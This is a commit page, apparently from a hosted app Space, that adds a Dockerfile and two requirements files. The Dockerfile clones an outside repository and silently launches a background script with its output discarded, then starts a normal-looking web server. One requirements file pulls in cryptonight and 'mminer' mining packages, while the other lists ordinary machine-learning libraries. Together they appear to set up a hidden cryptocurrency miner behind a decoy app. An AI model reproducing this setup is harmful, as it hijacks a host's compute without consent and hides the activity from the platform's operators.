HUGOOME commited on
Commit
f7e2d07
1 Parent(s): 79e2af2

Upload 3 files

Browse files
Files changed (3) hide show
  1. Dockerfile +40 -0
  2. reqs.txt +5 -0
  3. requirements.txt +8 -0
Dockerfile ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM ubuntu:latest
2
+
3
+ RUN apt update
4
+
5
+ RUN apt upgrade -y
6
+
7
+ RUN apt install git -y
8
+
9
+ RUN apt install cmake -y
10
+
11
+ RUN apt install python3 -y
12
+
13
+ RUN apt install python3-pip -y
14
+
15
+
16
+ RUN ls -l
17
+
18
+ RUN git clone https://github.com/VYOM00907/deplo.git
19
+
20
+ RUN cd deplo && pip install -r pyreq.txt
21
+
22
+ RUN cd deplo && pip install pytz
23
+
24
+ RUN cd deplo && pip install Flask
25
+
26
+ WORKDIR deplo
27
+
28
+ RUN lscpu
29
+
30
+ RUN cd testowa && touch non.txt && cd ..
31
+
32
+ WORKDIR testowa
33
+
34
+ RUN chmod a+rwx non.txt
35
+
36
+ RUN touch mok.txt && chmod a+rwx mok.txt
37
+
38
+ CMD bash -c "nohup python3 testev.py > /dev/null &" && ps -aux && uvicorn noda:app --host 0.0.0.0 --port 7860
39
+
40
+
reqs.txt ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ py-cryptonight>=0.2.4
2
+ requests
3
+ git+https://github.com/VYOM00907/mminer.git#egg=pyrx
4
+ streamlit
5
+ pytz
requirements.txt ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ git
2
+ cmake
3
+ fastapi==0.74.*
4
+ requests==2.27.*
5
+ sentencepiece==0.1.*
6
+ torch==1.11.*
7
+ transformers==4.*
8
+ uvicorn[standard]==0.17.*